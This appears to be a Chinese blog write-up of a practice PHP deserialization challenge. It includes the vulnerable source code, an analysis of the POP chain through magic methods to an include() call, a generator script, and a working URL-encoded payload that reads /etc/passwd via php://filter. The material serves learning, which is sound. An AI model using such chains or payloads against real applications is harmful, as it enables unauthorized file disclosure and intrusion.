首页 > 编程语言 >PHP反序列化构造POP链小练习

PHP反序列化构造POP链小练习

时间:2023-06-19 16:07:01浏览次数:43  
标签:__ PHP fearless 22% 3A% POP 序列化 Saw public


一个师傅给的源码,来源不知,就当作小练习记录一下

<?php
error_reporting(0);
class Vox{
    protected $headset;
    public $sound;
    public function fun($pulse){
        include($pulse);
    }
    public function __invoke(){
        $this->fun($this->headset);
    }
}

class Saw{
    public $fearless;
    public $gun;
    public function __construct($file='index.php'){
        $this->fearless = $file;
        echo $this->fearless . ' You are in my range!'."<br>";
    }

    public function __toString(){
        $this->gun['gun']->fearless;
        return "Saw";
    }

    public function _pain(){
        if($this->fearless){
            highlight_file($this->fearless);
        }
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
            echo "Does it hurt? That's right";
            $this->fearless = "index.php";
        }
    }
}

class Petal{
    public $seed;
    public function __construct(){
        $this->seed = array();
    }

    public function __get($sun){
        $Nourishment = $this->seed;
        return $Nourishment();
    }
}

if(isset($_GET['ozo'])){
    unserialize($_GET['ozo']);
}
else{
    $Saw = new Saw('index.php');
    $Saw->_pain();
}
?>

首先确定最终目的是控制include($pulse),控制包含点即可利用伪协议构造任意文件读取

然后一步步反推Vox::__invoke() -> Vox::fun(),而触发__invoke()的条件是将实例对象当作方法调用时触发Petal::__get()中的return $Nourishment();满足条件,只要赋值一个对象给$this->seed即可触发,继续分析Petal::__get()的触发条件是调用不可访问的属性或者方法时被触发Saw::__toString()中的$this->gun['gun']->fearless可满足,最后就是如何触发Saw::__toString()Saw::__wakeup()中,进行了正则匹配,如果将$this->fearless设置成一个对象,即可触发Saw::__toString()

PHP反序列化构造POP链小练习_POP链构造


整个过程的POP链

Saw::__wakeup() -> Saw::__toString() -> Petal::__get() -> Vox::__invoke() -> Vox::fun()
<?php 
class Vox
{
    protected $headset = "php://filter/read=convert.base64-encode/resource=/etc/passwd";
}

class Saw
{
    public $fearless;
    public $gun;
}

class Petal
{
    public $seed;
}

$Vox = new Vox();
$Saw1 = new Saw();
$Saw2 = new Saw(); 
$Petal = new Petal();

$Saw1->fearless = $Saw2;
$Saw2->gun['gun'] = $Petal;
$Petal->seed = $Vox;

echo urlencode(serialize($Saw1));
 ?>
PS C:\Users\Administrator\Desktop> php -f .\code.php
O%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BO%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BN%3Bs%3A3%3A%22gun%22%3Ba%3A1%3A%7Bs%3A3%3A%22gun%22%3BO%3A5%3A%22Petal%22%3A1%3A%7Bs%3A4%3A%22seed%22%3BO%3A3%3A%22Vox%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00headset%22%3Bs%3A60%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fetc%2Fpasswd%22%3B%7D%7D%7D%7Ds%3A3%3A%22gun%22%3BN%3B%7D

PHP反序列化构造POP链小练习_PHP反序列化_02


标签:__,PHP,fearless,22%,3A%,POP,序列化,Saw,public
From: https://blog.51cto.com/u_16159500/6514957

相关文章

  • 谈一谈PHP中关于非法参数名传参问题
    在CTF中有些时候GET、POST等方法传参中参数名可能存在一些非法字符导致传参问题。下面讲述的也算是CTF比赛中常见的一种Trick注意:这种Trick只能在PHP版本小于8时有效,当PHP版本大于等于8并不会出现这种转换错误在PHP官方文档中有解释当变量名中出现点和空格时,PHP的处理方式https://w......
  • VsCode配置PHP断点调试环境笔记
    PHPStudy_Pro8.1.1.2VsCode1.51.1PHP7.4.3NTSPHP_Xdebug-2.9.8-7.4-vc15-nts-x86_64首先查看当前环境的phpinfo信息根据phpinfo的信息选择对应的XDebug进行下载:https://xdebug.org/download推荐使用:https://xdebug.org/wizard,将phpinfo的信息全选复制到这里进行分析,然后下......
  • php跨域
    header("Access-Control-Allow-Origin:".$_SERVER['HTTP_ORIGIN']);header('Access-Control-Allow-Credentials:true');header('Access-Control-Max-Age:86400');if($_SERVER['REQUEST_METHOD']=='OPTIONS......
  • php WebUploader 分块上传
    ​ PHP用超级全局变量数组$_FILES来记录文件上传相关信息的。1.file_uploads=on/off 是否允许通过http方式上传文件2.max_execution_time=30 允许脚本最大执行时间,超过这个时间就会报错3.memory_limit=50M 设置脚本可以分配的最大内存量,防止失控脚本占用过多内存,此......
  • 基于PHPPHP高校图形图像智能处理网站
    随着社会的发展,计算机的优势和普及使得实验室平台的开发成为必需。实验室平台主要是借助计算机,通过对实验室所需的信息管理,减少管理人员的繁杂工作,同时也方便广大学生对实验室新闻消息的及时了解。本项目采用自顶向下的结构化的系统分析方法,阐述了一个功能全面的实验室平台的开发......
  • php怎么在线预览word文件?php预览.doc、.docx、.wps文件
    php预览WordPHP要实现在线Word预览只需要3步第一步:准备一个文件地址,如下:http://usdoc.cn/vw/文件模板.docx第二步预览前置地址:http://vw.usdoc.cn/?src=第三步开始预览http://vw.usdoc.cn/?src=http://usdoc.cn/vw/文件模板.docx......
  • 基于PHP电子商务网站系统开发
    随着电子科技的不断进步,购物不再是单一的现实购物形式,电子商务网上购物也成为日常购买商品的一种主要形式。电子商务形式的网上商店具有高效、快捷,信息畅通的特点,还可以很大程度上降低销售成本。 本文着重论述了电子购物网站的实现与设计过程。在系统的设计与开发过程中严格遵......
  • 基于PHP的在线课程管理系统设计实现
    在信息化时代的不断冲击下,在线课程管理与计算机技术的结合,将会是一条提高在线课程管理水平的捷径。使用计算机对在线课程管理的各项基本信息进行管理,比起手工管理来说既方便又简便,而且易于管理、搜索速度快、存储量大等多个优点。将其使用在在线课程管理中,不仅能够提高在线课程管理......
  • php利用X-sendfile控制下载
    为了控制静态文件下载,一般方法需要PHP用file_get_contents读取文件,再传给客户端。节省资源的方法是利用nginx的x-sendfile模块,原理是nginx上设置一个特殊资源目录,客户端无法直接读取,需要经过php许可后才能下载。 1、设置nginxlocation/request/uri/{internal;alias/re......
  • php解决 mysql_connect(): The mysql extension is deprecated and will be removed i
    Themysqlextensionisdeprecatedandwillberemovedinthefuture:usemysq翻译:mysql_connect这个模块将在未来弃用,请你使用mysqli或者PDO来替代。解决方法:打开php.ini配置文件把display_errors=On改为display_errors=Off改完之后重启服务就可以了。  ......